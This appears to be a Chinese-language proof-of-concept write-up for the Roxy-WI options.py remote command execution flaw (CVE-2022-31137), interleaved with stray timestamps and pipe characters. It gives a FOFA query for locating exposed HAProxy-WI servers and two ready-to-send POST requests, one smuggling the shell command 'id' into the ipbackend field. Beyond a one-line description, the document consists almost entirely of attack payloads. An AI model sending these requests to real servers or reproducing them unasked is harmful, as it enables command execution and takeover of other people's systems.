2022-08-24 14:33:57 +08:00
|
|
|
# Roxy-Wi options.py 远程命令执行漏洞 CVE-2022-31137
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
Roxy-Wi options.py 存在远程命令执行漏洞，攻击者通过漏洞可以执行命令获取服务器权限
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
Roxy-WI
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## FOFA
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
app="HAProxy-WI"
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
登录页面
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
2022-08-24 14:33:57 +08:00
|
|
|
|
|
|
|
|
验证POC
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
POST /app/options.py
|
|
|
|
|
|
|
|
|
|
alert_consumer=1&serv=127.0.0.1&ipbackend=%22%3Bid+%23%23&backend_server=127.0.0.1
|
|
|
|
|
```
|
|
|
|
|
|
2023-06-01 17:24:55 +08:00
|
|
|
|
|
|
|
|
|
|
|
|
|
另一个POC
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
POST /app/options.py HTTP/1.1
|
|
|
|
|
Host: your-ip
|
|
|
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
|
|
|
|
|
Accept: */*
|
|
|
|
|
Accept-Language: en-US,en;q=0.5
|
|
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
|
Content-Length: 105
|
|
|
|
|
Origin: https://x.x.x.x
|
|
|
|
|
Dnt: 1
|
|
|
|
|
Referer: https://x.x.x.x/app/login.py
|
|
|
|
|
Sec-Fetch-Dest: empty
|
|
|
|
|
Sec-Fetch-Mode: cors
|
|
|
|
|
Sec-Fetch-Site: same-origin
|
|
|
|
|
Te: trailers
|
|
|
|
|
Connection: close
|
|
|
|
|
|
|
|
|
|
alert_consumer=notNull&serv=roxy-wi.access.log&rows1=10&grep=&exgrep=&hour=00&minut=00&hour1=23&minut1=45
|
|
|
|
|
```
|
|
|
|
|
|
